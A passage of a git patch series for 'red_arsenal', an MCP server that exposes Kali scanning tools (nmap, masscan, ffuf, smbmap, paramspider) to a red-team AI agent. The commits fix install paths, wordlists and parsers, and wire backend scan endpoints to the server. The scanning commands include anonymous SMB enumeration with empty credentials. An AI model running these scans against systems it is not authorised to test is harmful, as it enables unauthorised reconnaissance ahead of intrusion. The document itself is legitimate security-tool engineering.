client.call_tool(tool, args) + submit = _structured(submit_res) + job_id = submit.get("job_id") + if not job_id: + return submit # inline or error + + deadline = time.monotonic() + POLL_TIMEOUT + while time.monotonic() < deadline: + status_res = await client.call_tool("job_status", {"job_id": job_id}) + status = _structured(status_res) + if status.get("status") in ("done", "error"): + break + await asyncio.sleep(POLL_INTERVAL) + else: + return {"ok": False, "error": f"poll timeout after {POLL_TIMEOUT}s"} + + result_res = await client.call_tool("job_result", {"job_id": job_id, "wait": True}) + return _structured(result_res) + + +def _structured(res: Any) -> dict: + """fastmcp's Client returns a CallToolResult; pull structured content.""" + if hasattr(res, "data") and res.data is not None: + return res.data + if hasattr(res, "structured_content") and res.structured_content is not None: + return res.structured_content + if hasattr(res, "content"): + for item in res.content: + text = getattr(item, "text", None) + if text: + try: + return json.loads(text) + except (json.JSONDecodeError, TypeError): + return {"raw": text} + return {"raw": repr(res)} + + +async def main() -> int: + print(f"[*] Connecting to {SERVER_URL}") + failures = 0 + async with Client(SERVER_URL) as client: + # Discovery + tools = await client.list_tools() + tool_names = [t.name for t in tools] + print(f"[+] Server advertises {len(tool_names)} tools") + + # Sanity calls + ping = _structured(await client.call_tool("ping", {})) + print(f" ping: {ping}") + + stats = _structured(await client.call_tool("server_stats", {})) + print(f" server_stats: {_short(stats)}") + + listed = _structured(await client.call_tool("list_tools", {})) + installed = { + k: v for k, v in listed.get("tools", {}).items() if v.get("installed") + } + print(f" installed binaries: {sorted(installed.keys())}") + + print() + print("=" * 72) + print(f"{'TOOL':<22} {'STATUS':<8} {'TIME':>8} {'FINDINGS':>9} NOTES") + print("-" * 72) + + for tool, args in TOOL_SUITE: + if tool not in tool_names: + print(f"{tool:<22} SKIP {'-':>8} {'-':>9} not registered") + continue + t0 = time.monotonic() + try: + result = await _run_one(client, tool, args) + except Exception as exc: + elapsed = time.monotonic() - t0 + print(f"{tool:<22} ERROR {elapsed:>7.1f}s {'-':>9} {type(exc).__name__}: {exc}") + failures += 1 + continue + elapsed = time.monotonic() - t0 + ok = bool(result.get("ok")) + findings = len(result.get("findings") or []) + note = "" + if not ok: + note = (result.get("error") or "")[:80] + failures += 1 + elif findings == 0: + note = "no findings (tool ok)" + else: + note = f"first={_short(result.get('findings')[0], 80)}" + status = "PASS" if ok else "FAIL" + print(f"{tool:<22} {status:<8} {elapsed:>7.1f}s {findings:>9} {note}") + + print("-" * 72) + print(f"Done. failures={failures}/{len(TOOL_SUITE)}") + return 1 if failures else 0 + + +if __name__ == "__main__": + try: + sys.exit(asyncio.run(main())) + except KeyboardInterrupt: + print("\n[!] interrupted") + sys.exit(130) diff --git a/red_agent/red_arsenal/tools/api.py b/red_agent/red_arsenal/tools/api.py index 88491702f..bff07f47a 100644 --- a/red_agent/red_arsenal/tools/api.py +++ b/red_agent/red_arsenal/tools/api.py @@ -99,25 +99,46 @@ async def ffuf_impl( wordlist: str | None = None, ) -> dict: """mode: 'content' (FUZZ in URL) or 'parameter' (FUZZ as POST body).""" - wl = wordlist or DEFAULT_WORDLISTS.get("ffuf", "/usr/share/seclists/Discovery/Web-Content/common.txt") - if mode == "parameter": - cmd = [ - _binary("ffuf"), - "-u", target, - "-X", method, - "-d", "FUZZ=test", - "-w", wl, - "-mc", "200,204,301,302,307,401,403", - "-of", "json", "-o", "-", - ] - else: - url = target if "FUZZ" in target else target.rstrip("/") + "/FUZZ" - cmd = [ - _binary("ffuf"), - "-u", url, - "-w", wl, - "-of", "json", "-o", "-", - "-mc", "200,204,301,302,307,401,403", - ] - raw = await run(cmd, timeout=TOOLS["ffuf"].default_timeout) - return parsers.parse_ffuf(raw, target) + wl = wordlist or DEFAULT_WORDLISTS.get( + "ffuf", "/usr/share/seclists/Discovery/Web-Content/common.txt" + ) + # ffuf's json output goes to a file, not stdout. Use a temp file and + # read it back into the RunResult so the parser sees the JSON document. + with tempfile.NamedTemporaryFile( + prefix="ffuf-", suffix=".json", delete=False + ) as tf: + out_path = tf.name + try: + if mode == "parameter": + cmd = [ + _binary("ffuf"), + "-u", target, + "-X", method, + "-d", "FUZZ=test", + "-w", wl, + "-mc", "200,204,301,302,307,401,403", + "-of", "json", "-o", out_path, + "-s", # silent: no pretty TTY output to stderr + ] + else: + url = target if "FUZZ" in target else target.rstrip("/") + "/FUZZ" + cmd = [ + _binary("ffuf"), + "-u", url, + "-w", wl, + "-of", "json", "-o", out_path, + "-mc", "200,204,301,302,307,401,403", + "-s", + ] + raw = await run(cmd, timeout=TOOLS["ffuf"].default_timeout) + try: + with open(out_path, "rb") as fh: + raw.stdout = fh.read() + except FileNotFoundError: + pass + return parsers.parse_ffuf(raw, target) + finally: + try: + os.unlink(out_path) + except OSError: + pass From f53c521593e6a58e19a2c27a423df7ab37bc3308 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 01:25:32 +0530 Subject: [PATCH 07/26] fix(red_arsenal): pin explicit binary paths + fix paramspider/rustscan/x8 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Second round of fixes from the live Kali run: - ToolSpec.resolve() now checks extra_paths FIRST and only falls back to shutil.which. This is critical for httpx: the venv pip-installs the Python httpx CLI as a transitive dep of fastmcp, and it was winning over our ProjectDiscovery binary. Pin httpx/katana/gau/waybackurls/nuclei/x8/ rustscan to their canonical /usr/local/bin paths. - paramspider isn't on PyPI β€” switch pipx to git+https URL. - rustscan is in Kali's apt repo; drop the flaky GitHub fetch block and let apt handle it. - x8 asset pattern corrected to match Sh1Yo's actual release naming (`x8-.tar.gz`). Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/config.py | 32 +++++++---- red_agent/red_arsenal/install.sh | 57 ++++++------------- .../red_arsenal/tests/check_installed.py | 33 +++++++++++ 3 files changed, 72 insertions(+), 50 deletions(-) create mode 100644 red_agent/red_arsenal/tests/check_installed.py diff --git a/red_agent/red_arsenal/config.py b/red_agent/red_arsenal/config.py index 20ef53e53..4c767a524 100644 --- a/red_agent/red_arsenal/config.py +++ b/red_agent/red_arsenal/config.py @@ -23,13 +23,14 @@ class ToolSpec: extra_paths: list[str] = field(default_factory=list) def resolve(self) -> str | None: - path = shutil.which(self.binary) - if path: - return path + # Explicit candidates are checked FIRST so a tool with a distro + # namespace collision (e.g. ProjectDiscovery httpx vs the Python + # httpx CLI that ships in our venv) can be pinned to the right + # binary. Falls back to shutil.which when no explicit match. for candidate in self.extra_paths: if os.path.isfile(candidate) and os.access(candidate, os.X_OK): return candidate - return None + return shutil.which(self.binary) @property def installed(self) -> bool: @@ -41,19 +42,28 @@ def installed(self) -> bool: TOOLS: dict[str, ToolSpec] = { "nmap": ToolSpec("nmap", "nmap", LONG_TIMEOUT), - "httpx": ToolSpec("httpx", "httpx", DEFAULT_TIMEOUT, [f"{GO_BIN}/httpx"]), - "katana": ToolSpec("katana", "katana", LONG_TIMEOUT, [f"{GO_BIN}/katana"]), - "gau": ToolSpec("gau", "gau", DEFAULT_TIMEOUT, [f"{GO_BIN}/gau"]), - "waybackurls": ToolSpec("waybackurls", "waybackurls", DEFAULT_TIMEOUT, [f"{GO_BIN}/waybackurls"]), - "nuclei": ToolSpec("nuclei", "nuclei", LONG_TIMEOUT, [f"{GO_BIN}/nuclei"]), + # httpx: pin explicit paths so we skip the Python httpx CLI that pip + # installs into our venv as a transitive dep of fastmcp/mcp. + "httpx": ToolSpec("httpx", "httpx", DEFAULT_TIMEOUT, + ["/usr/local/bin/httpx", f"{GO_BIN}/httpx"]), + "katana": ToolSpec("katana", "katana", LONG_TIMEOUT, + ["/usr/local/bin/katana", f"{GO_BIN}/katana"]), + "gau": ToolSpec("gau", "gau", DEFAULT_TIMEOUT, + ["/usr/local/bin/gau", f"{GO_BIN}/gau"]), + "waybackurls": ToolSpec("waybackurls", "waybackurls", DEFAULT_TIMEOUT, + ["/usr/local/bin/waybackurls", f"{GO_BIN}/waybackurls"]), + "nuclei": ToolSpec("nuclei", "nuclei", LONG_TIMEOUT, + ["/usr/local/bin/nuclei", f"{GO_BIN}/nuclei"]), "dirsearch": ToolSpec("dirsearch", "dirsearch", LONG_TIMEOUT), "gobuster": ToolSpec("gobuster", "gobuster", LONG_TIMEOUT), "arjun": ToolSpec("arjun", "arjun", DEFAULT_TIMEOUT), - "x8": ToolSpec("x8", "x8", DEFAULT_TIMEOUT, [f"{CARGO_BIN}/x8"]), + "x8": ToolSpec("x8", "x8", DEFAULT_TIMEOUT, + ["/usr/local/bin/x8", f"{CARGO_BIN}/x8"]), "paramspider": ToolSpec("paramspider", "paramspider", DEFAULT_TIMEOUT), "ffuf": ToolSpec("ffuf", "ffuf", LONG_TIMEOUT), "arp-scan": ToolSpec("arp-scan", "arp-scan", DEFAULT_TIMEOUT), - "rustscan": ToolSpec("rustscan", "rustscan", LONG_TIMEOUT, [f"{CARGO_BIN}/rustscan"]), + "rustscan": ToolSpec("rustscan", "rustscan", LONG_TIMEOUT, + ["/usr/local/bin/rustscan", f"{CARGO_BIN}/rustscan"]), "masscan": ToolSpec("masscan", "masscan", LONG_TIMEOUT), "enum4linux-ng": ToolSpec("enum4linux-ng", "enum4linux-ng", LONG_TIMEOUT), "nbtscan": ToolSpec("nbtscan", "nbtscan", DEFAULT_TIMEOUT), diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index e7743d014..42bc49451 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -106,7 +106,7 @@ if [[ $SKIP_APT -eq 0 ]]; then sudo apt install -y \ python3 python3-venv python3-pip pipx \ curl unzip tar \ - nmap masscan arp-scan \ + nmap masscan arp-scan rustscan \ gobuster ffuf nikto \ enum4linux-ng nbtscan smbmap \ samba-common-bin @@ -131,39 +131,13 @@ if [[ $SKIP_BINARIES -eq 0 ]]; then fetch_github_release lc gau "${ARCH}\\.tar\\.gz$" gau fetch_github_release tomnomnom waybackurls "linux-amd64.*\\.tgz$" waybackurls - # rustscan: .deb package β€” patterns vary across releases, try several. - if ! command -v rustscan >/dev/null 2>&1; then - echo " [+] bee-san/RustScan (.deb)" - rustscan_url=$(curl -fsSL https://api.github.com/repos/bee-san/RustScan/releases/latest \ - | grep -oE '"browser_download_url"[[:space:]]*:[[:space:]]*"[^"]+"' \ - | cut -d'"' -f4 \ - | grep -iE '(x86_64|amd64).*\.(deb|tar\.gz|zip)$' \ - | head -1 || true) - if [[ -n "$rustscan_url" ]]; then - tmp=$(mktemp -d) - curl -fsSL -o "$tmp/pkg" "$rustscan_url" - case "$rustscan_url" in - *.deb) - sudo dpkg -i "$tmp/pkg" || sudo apt-get -yf install ;; - *.tar.gz|*.tgz) - tar -xzf "$tmp/pkg" -C "$tmp" - found=$(find "$tmp" -type f -name rustscan -executable | head -1) - [[ -n "$found" ]] && sudo install -m 0755 "$found" "$BIN_DIR/rustscan" ;; - *.zip) - unzip -q -o "$tmp/pkg" -d "$tmp" - found=$(find "$tmp" -type f -name rustscan -executable | head -1) - [[ -n "$found" ]] && sudo install -m 0755 "$found" "$BIN_DIR/rustscan" ;; - esac - rm -rf "$tmp" - else - echo " [!] no rustscan release asset matched" >&2 - fi - else - echo " [skip] rustscan already installed at $(command -v rustscan)" - fi + # rustscan is installed via apt above (Kali packages it). Skip any + # GitHub fetching β€” upstream asset naming is inconsistent across + # releases and apt is more reliable. - # x8: Sh1Yo publishes linux_x86_64 tar or zip - fetch_github_release Sh1Yo x8 "(x86_64|amd64).*(linux|unknown-linux).*\\.(tar\\.gz|zip)$|linux.*\\.(tar\\.gz|zip)$" x8 + # x8: Sh1Yo publishes `x8-.tar.gz` where target is e.g. + # `x86_64-unknown-linux-gnu`. Match on `linux-gnu.*\.tar\.gz$`. + fetch_github_release Sh1Yo x8 "linux-gnu\\.tar\\.gz$|linux-musl\\.tar\\.gz$" x8 # Update nuclei templates (small, fast) if command -v nuclei >/dev/null 2>&1; then @@ -179,12 +153,17 @@ echo "[*] Python tooling via pipx (installed --global so systemd finds them)" # --global puts shims in /usr/local/bin instead of per-user ~/.local/bin, # which is critical because the systemd unit runs as root with a PATH # that doesn't include /home//.local/bin. -sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install arjun 2>/dev/null \ - || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade arjun || true -sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install paramspider 2>/dev/null \ - || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade paramspider || true -sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx install dirsearch 2>/dev/null \ - || sudo PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin pipx upgrade dirsearch || true +PIPX_ENV=(PIPX_HOME=/opt/pipx PIPX_BIN_DIR=/usr/local/bin) + +# arjun and dirsearch are on PyPI, plain pipx install works. +sudo "${PIPX_ENV[@]}" pipx install arjun 2>/dev/null \ + || sudo "${PIPX_ENV[@]}" pipx upgrade arjun || true +sudo "${PIPX_ENV[@]}" pipx install dirsearch 2>/dev/null \ + || sudo "${PIPX_ENV[@]}" pipx upgrade dirsearch || true + +# paramspider is git-only (not on PyPI) β€” use the repo URL. +sudo "${PIPX_ENV[@]}" pipx install git+https://github.com/devanshbatham/paramspider.git 2>/dev/null \ + || sudo "${PIPX_ENV[@]}" pipx upgrade paramspider || true # ---------------------------------------------------------------- deploy server diff --git a/red_agent/red_arsenal/tests/check_installed.py b/red_agent/red_arsenal/tests/check_installed.py new file mode 100644 index 000000000..365933f11 --- /dev/null +++ b/red_agent/red_arsenal/tests/check_installed.py @@ -0,0 +1,33 @@ +"""Quick introspection: ask the server which binaries it resolves. + +Use this after deploying changes to confirm the service's PATH is finding +the right versions of every tool β€” independent of the invoking user's +shell PATH. +""" + +from __future__ import annotations + +import asyncio +import json + +from fastmcp import Client + +SERVER_URL = "http://127.0.0.1:8765/sse" + + +async def main() -> None: + async with Client(SERVER_URL) as client: + res = await client.call_tool("list_tools", {}) + data = res.data if hasattr(res, "data") and res.data else res.structured_content + tools = data.get("tools", {}) + print(f"{'TOOL':<16} {'INSTALLED':<11} PATH") + print("-" * 80) + for name in sorted(tools): + info = tools[name] + installed = "YES" if info.get("installed") else "no" + path = info.get("path") or "β€”" + print(f"{name:<16} {installed:<11} {path}") + + +if __name__ == "__main__": + asyncio.run(main()) From f91028feba78737f549af5c465a105bf8b64f49f Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 01:28:17 +0530 Subject: [PATCH 08/26] =?UTF-8?q?fix(red=5Farsenal):=20rustscan=20not=20in?= =?UTF-8?q?=20Kali=20apt=20=E2=80=94=20revert=20to=20optional=20GitHub=20f?= =?UTF-8?q?etch?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Kali's default apt repo does not package rustscan. Reverting to a best-effort .deb fetch from RustScan/RustScan GitHub releases. Failures are silent and non-fatal since nmap+masscan cover port scanning. Also adds git to the apt list (needed for pipx git+https paramspider install). Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/install.sh | 32 +++++++++++++++++++++++++++----- 1 file changed, 27 insertions(+), 5 deletions(-) diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index 42bc49451..5f13fde4b 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -105,8 +105,8 @@ if [[ $SKIP_APT -eq 0 ]]; then sudo apt update sudo apt install -y \ python3 python3-venv python3-pip pipx \ - curl unzip tar \ - nmap masscan arp-scan rustscan \ + curl unzip tar git \ + nmap masscan arp-scan \ gobuster ffuf nikto \ enum4linux-ng nbtscan smbmap \ samba-common-bin @@ -131,9 +131,31 @@ if [[ $SKIP_BINARIES -eq 0 ]]; then fetch_github_release lc gau "${ARCH}\\.tar\\.gz$" gau fetch_github_release tomnomnom waybackurls "linux-amd64.*\\.tgz$" waybackurls - # rustscan is installed via apt above (Kali packages it). Skip any - # GitHub fetching β€” upstream asset naming is inconsistent across - # releases and apt is more reliable. + # rustscan: optional β€” Kali does NOT package it and upstream asset + # naming varies. Try the GitHub .deb; silently skip on failure since + # nmap+masscan already cover port scanning. + if ! command -v rustscan >/dev/null 2>&1; then + echo " [+] RustScan (optional, via .deb)" + rustscan_url=$(curl -fsSL https://api.github.com/repos/RustScan/RustScan/releases/latest 2>/dev/null \ + | grep -oE '"browser_download_url"[[:space:]]*:[[:space:]]*"[^"]+"' \ + | cut -d'"' -f4 \ + | grep -iE 'amd64\.deb$' \ + | head -1 || true) + if [[ -n "$rustscan_url" ]]; then + tmp=$(mktemp -d) + if curl -fsSL -o "$tmp/pkg.deb" "$rustscan_url" \ + && sudo dpkg -i "$tmp/pkg.deb" >/dev/null 2>&1; then + echo " [+] installed rustscan from $rustscan_url" + else + echo " [!] rustscan .deb install failed β€” skipping (optional)" + fi + rm -rf "$tmp" + else + echo " [!] rustscan: no .deb asset found β€” skipping (optional)" + fi + else + echo " [skip] rustscan already installed at $(command -v rustscan)" + fi # x8: Sh1Yo publishes `x8-.tar.gz` where target is e.g. # `x86_64-unknown-linux-gnu`. Match on `linux-gnu.*\.tar\.gz$`. From 1fe1285946d884b1e3990d64bf688c500320d1dd Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 01:49:19 +0530 Subject: [PATCH 09/26] fix(red_arsenal): third-round fixes from full smoke test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Eight PASSes out of fourteen runnable tools on the first full run. The remaining failures were all wrapper/parser/config bugs β€” not MCP or concurrency issues. This commit addresses them: - parsers.py: katana JSONL uses `request.endpoint` / `request.url`, not top-level keys. Fixed the parser to walk the nested structure and also surface method + status_code. - config.py: default wordlists were too large for anything interactive. Point gobuster + ffuf at /usr/share/wordlists/dirb/common.txt (~4.6K entries). - install.sh: * pipx inject dirsearch setuptools β€” Python 3.12+ stopped bundling setuptools in new venvs, and dirsearch still imports pkg_resources. * Add `wordlists` apt package so /usr/share/wordlists/dirb is present. - tools/api.py paramspider_impl: git-installed paramspider only accepts `-d DOMAIN` and writes to `results/.txt` in cwd. Run it in a temp dir and read the file back. - tools/network.py: * _resolve() helper for hostnameβ†’IP (masscan rejects hostnames). * masscan_impl now pre-resolves and uses a narrower default port list (common service ports) so smoke runs don't take 10 minutes. * nmap_advanced_impl: os_detection now defaults False (was adding 1–3 min per host with -O). * smbmap_impl: dropped `-R --depth 2` (smbmap 1.10 changed -R to take a share-name arg, not a flag). The MCP server plumbing itself β€” parallel job spawning, SSE transport, job status/result/cancel polling, server_stats, parser registration, the installed-tools introspection β€” all worked flawlessly on the first run. These are just tool-CLI drift fixes. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/config.py | 7 +++-- red_agent/red_arsenal/install.sh | 8 ++++- red_agent/red_arsenal/parsers.py | 24 ++++++++++++--- red_agent/red_arsenal/tools/api.py | 35 ++++++++------------- red_agent/red_arsenal/tools/network.py | 42 +++++++++++++++++++++----- 5 files changed, 78 insertions(+), 38 deletions(-) diff --git a/red_agent/red_arsenal/config.py b/red_agent/red_arsenal/config.py index 4c767a524..6894ffafa 100644 --- a/red_agent/red_arsenal/config.py +++ b/red_agent/red_arsenal/config.py @@ -72,9 +72,12 @@ def installed(self) -> bool: } DEFAULT_WORDLISTS = { + # dirb/common.txt is ~4.6K entries β€” sane default for both dirsearch + # and gobuster. directory-list-2.3-medium.txt (220K entries) is + # unusable for interactive / smoke-test scans. "dirsearch": "/usr/share/wordlists/dirb/common.txt", - "gobuster": "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", - "ffuf": "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt", + "gobuster": "/usr/share/wordlists/dirb/common.txt", + "ffuf": "/usr/share/wordlists/dirb/common.txt", "x8": "/usr/share/wordlists/x8/params.txt", } diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index 5f13fde4b..95459c813 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -109,7 +109,8 @@ if [[ $SKIP_APT -eq 0 ]]; then nmap masscan arp-scan \ gobuster ffuf nikto \ enum4linux-ng nbtscan smbmap \ - samba-common-bin + samba-common-bin \ + wordlists else echo "[*] apt: skipped" fi @@ -183,6 +184,11 @@ sudo "${PIPX_ENV[@]}" pipx install arjun 2>/dev/null \ sudo "${PIPX_ENV[@]}" pipx install dirsearch 2>/dev/null \ || sudo "${PIPX_ENV[@]}" pipx upgrade dirsearch || true +# dirsearch imports pkg_resources which comes from setuptools. Python +# 3.12+ stopped bundling setuptools in new venvs, so we have to inject +# it manually or dirsearch crashes at import time. +sudo "${PIPX_ENV[@]}" pipx inject dirsearch setuptools 2>/dev/null || true + # paramspider is git-only (not on PyPI) β€” use the repo URL. sudo "${PIPX_ENV[@]}" pipx install git+https://github.com/devanshbatham/paramspider.git 2>/dev/null \ || sudo "${PIPX_ENV[@]}" pipx upgrade paramspider || true diff --git a/red_agent/red_arsenal/parsers.py b/red_agent/red_arsenal/parsers.py index 9c6e1a093..44f43a190 100644 --- a/red_agent/red_arsenal/parsers.py +++ b/red_agent/red_arsenal/parsers.py @@ -106,12 +106,26 @@ def parse_httpx(raw: RunResult, target: str) -> dict: def parse_katana(raw: RunResult, target: str) -> dict: out = _base("katana", target, raw) + # katana JSONL nests the URL under `request.endpoint`/`request.url` and + # the source under `timestamp`/`response.status_code`. Top-level + # `endpoint` and `url` keys do NOT exist in recent versions. for row in _jsonl(raw.text_out()): - if isinstance(row, dict): - out["findings"].append({ - "url": row.get("endpoint") or row.get("url"), - "source": row.get("source"), - }) + if not isinstance(row, dict): + continue + request = row.get("request") or {} + response = row.get("response") or {} + url = ( + request.get("endpoint") + or request.get("url") + or row.get("endpoint") + or row.get("url") + ) + out["findings"].append({ + "url": url, + "method": request.get("method"), + "source": row.get("source") or row.get("timestamp"), + "status_code": response.get("status_code"), + }) # Plain-text fallback if not out["findings"]: for line in raw.text_out().splitlines(): diff --git a/red_agent/red_arsenal/tools/api.py b/red_agent/red_arsenal/tools/api.py index bff07f47a..06faff7f0 100644 --- a/red_agent/red_arsenal/tools/api.py +++ b/red_agent/red_arsenal/tools/api.py @@ -64,32 +64,23 @@ async def x8_impl( async def paramspider_impl(target: str, level: int = 2) -> dict: - # paramspider ignores stdout and writes to results/ by default; use - # --quiet --output to pipe a file we can read. - with tempfile.NamedTemporaryFile( - prefix="ps-", suffix=".txt", delete=False - ) as tf: - out_path = tf.name - try: - cmd = [ - _binary("paramspider"), - "-d", target, - "-l", str(level), - "-o", out_path, - "--quiet", - ] - raw = await run(cmd, timeout=TOOLS["paramspider"].default_timeout) + # The devanshbatham/paramspider (git) CLI only accepts `-d DOMAIN` + # and writes to `results/.txt` in the current working dir. + # Run it in a temp cwd so we can read back the file without polluting + # the MCP server's working directory. + import tempfile as _tf + with _tf.TemporaryDirectory(prefix="ps-") as cwd: + cmd = [_binary("paramspider"), "-d", target] + raw = await run(cmd, timeout=TOOLS["paramspider"].default_timeout, cwd=cwd) + # Try to read the results file it dropped. + results_dir = os.path.join(cwd, "results") try: - with open(out_path, "rb") as fh: - raw.stdout = fh.read() + for fname in os.listdir(results_dir): + with open(os.path.join(results_dir, fname), "rb") as fh: + raw.stdout = (raw.stdout or b"") + fh.read() except FileNotFoundError: pass return parsers.parse_paramspider(raw, target) - finally: - try: - os.unlink(out_path) - except OSError: - pass async def ffuf_impl( diff --git a/red_agent/red_arsenal/tools/network.py b/red_agent/red_arsenal/tools/network.py index d1467d6f6..5bfe65687 100644 --- a/red_agent/red_arsenal/tools/network.py +++ b/red_agent/red_arsenal/tools/network.py @@ -6,6 +6,8 @@ from __future__ import annotations +import socket + from .. import parsers from ..config import TOOLS from ..runner import run @@ -19,6 +21,21 @@ def _binary(name: str) -> str: return resolved +def _resolve(target: str) -> str: + """Return an IP string for a hostname / IP / CIDR target. + + masscan and a few other raw-socket tools reject hostnames outright, + so we do the DNS lookup ourselves. CIDR strings and already-numeric + targets pass through unchanged. + """ + if "/" in target or target.replace(".", "").replace(":", "").isdigit(): + return target + try: + return socket.gethostbyname(target) + except socket.gaierror: + return target + + async def arp_scan_impl(cidr: str | None = None, local_network: bool = True) -> dict: cmd = [_binary("arp-scan"), "-q"] if local_network and not cidr: @@ -51,9 +68,12 @@ async def rustscan_impl( async def nmap_advanced_impl( target: str, scan_type: str = "-sS", - os_detection: bool = True, + os_detection: bool = False, version_detection: bool = True, ) -> dict: + # OS detection is off by default because `-O` adds 1–3 minutes per + # host, which kills interactive responsiveness. The agent can pass + # os_detection=True when it actually wants fingerprinting. cmd = [_binary("nmap"), *scan_type.split()] if os_detection: cmd.append("-O") @@ -69,12 +89,16 @@ async def nmap_advanced_impl( async def masscan_impl( target: str, rate: int = 1000, - ports: str = "1-65535", - banners: bool = True, + ports: str = "80,443,22,21,25,3389,8080,8443", + banners: bool = False, ) -> dict: + # masscan rejects hostnames β€” resolve to IP first. We also ship a + # narrower default port list than the full 1-65535 range; at rate=1000 + # that was pushing 60+ seconds per host which is bad for smoke tests. + ip_target = _resolve(target) cmd = [ _binary("masscan"), - target, + ip_target, "-p", ports, "--rate", str(rate), "-oJ", "-", @@ -112,10 +136,12 @@ async def nbtscan_impl(target: str, verbose: bool = True) -> dict: return parsers.parse_nbtscan(raw, target) -async def smbmap_impl(target: str, recursive: bool = True) -> dict: - cmd = [_binary("smbmap"), "-H", target] - if recursive: - cmd += ["-R", "--depth", "2"] +async def smbmap_impl(target: str, recursive: bool = False) -> dict: + # smbmap 1.10 changed `-R` semantics: it now takes a share name as + # argument rather than being a boolean flag. Default to a plain + # enumeration; agents that want recursion can pass the share name + # via a future param. + cmd = [_binary("smbmap"), "-H", target, "-u", "", "-p", ""] raw = await run(cmd, timeout=TOOLS["smbmap"].default_timeout) return parsers.parse_smbmap(raw, target) From 8343c39a0224402308ad3876914cf3bbb1a7fbd8 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 02:08:21 +0530 Subject: [PATCH 10/26] fix(red_arsenal): inject setuptools into dirsearch venv via direct pip MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit pipx inject was silently failing on the first Kali run β€” setuptools didn't end up in /opt/pipx/venvs/dirsearch so dirsearch still crashed at import with ModuleNotFoundError: pkg_resources. Fall back to calling the venv's pip directly: /opt/pipx/venvs/dirsearch/bin/pip install setuptools Round-2 smoke test otherwise went from 8 β†’ 12 passes out of 20: * paramspider PASS (git-CLI cwd results fix) * ffuf PASS (wordlist path fix) * masscan PASS (hostname resolver) * smbmap PASS (simplified args) Only dirsearch remained red among actionable bugs. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/red_arsenal/install.sh | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/red_agent/red_arsenal/install.sh b/red_agent/red_arsenal/install.sh index 95459c813..f36625c72 100644 --- a/red_agent/red_arsenal/install.sh +++ b/red_agent/red_arsenal/install.sh @@ -185,9 +185,11 @@ sudo "${PIPX_ENV[@]}" pipx install dirsearch 2>/dev/null \ || sudo "${PIPX_ENV[@]}" pipx upgrade dirsearch || true # dirsearch imports pkg_resources which comes from setuptools. Python -# 3.12+ stopped bundling setuptools in new venvs, so we have to inject -# it manually or dirsearch crashes at import time. -sudo "${PIPX_ENV[@]}" pipx inject dirsearch setuptools 2>/dev/null || true +# 3.12+ stopped bundling setuptools in new venvs, so dirsearch crashes +# at import time unless we drop setuptools into its venv. Use pipx +# inject *and* a direct pip fallback β€” one of them will work. +sudo "${PIPX_ENV[@]}" pipx inject dirsearch setuptools || \ + sudo /opt/pipx/venvs/dirsearch/bin/pip install setuptools || true # paramspider is git-only (not on PyPI) β€” use the repo URL. sudo "${PIPX_ENV[@]}" pipx install git+https://github.com/devanshbatham/paramspider.git 2>/dev/null \ From 78a9400957246e440dfba746a76bc5acf00fbef6 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 02:31:08 +0530 Subject: [PATCH 11/26] feat(red_agent): wire recon scan services to red_arsenal MCP MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit First backendβ†’arsenal connection. The three recon endpoints now invoke real Kali tools through the MCP SSE transport and return parsed findings: - POST /scan/network β†’ run_nmap (configurable ports, defaults to a common-service sweep). - POST /scan/web β†’ web_reconnaissance workflow (wait=True) with an 1800s poll ceiling for the slower fan-out members. - POST /scan/system β†’ run_smbmap (SMB tier is enough for v1). Each scan also pushes a `{type: "tool_call"}` envelope over /ws/red at submit + finish so the frontend tool-call stream mirrors the MCP job lifecycle in real time. Broadcast is best-effort and can never break a scan. New module: - red_agent/backend/services/mcp_client.py β€” opens a fresh Client() per call, submits via call_tool, polls job_status, fetches job_result. No long-lived SSE session across FastAPI request boundaries. Config: - MCP_SERVER_URL env var (default http://127.0.0.1:8765/sse) β€” override when the arsenal runs on a different host. - fastmcp>=0.4.0 pinned in root requirements.txt. Out of scope for this step: run_cloud_scan, lookup_cve, run_exploit, run_cve_exploit, plan_attack, evolve_strategy β€” all remain mocked and will be wired once the exploit/CVE-feed MCP surface is built. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/backend/services/mcp_client.py | 110 +++++++++++++++ red_agent/backend/services/red_service.py | 164 ++++++++++++++++++++-- requirements.txt | 4 + 3 files changed, 267 insertions(+), 11 deletions(-) create mode 100644 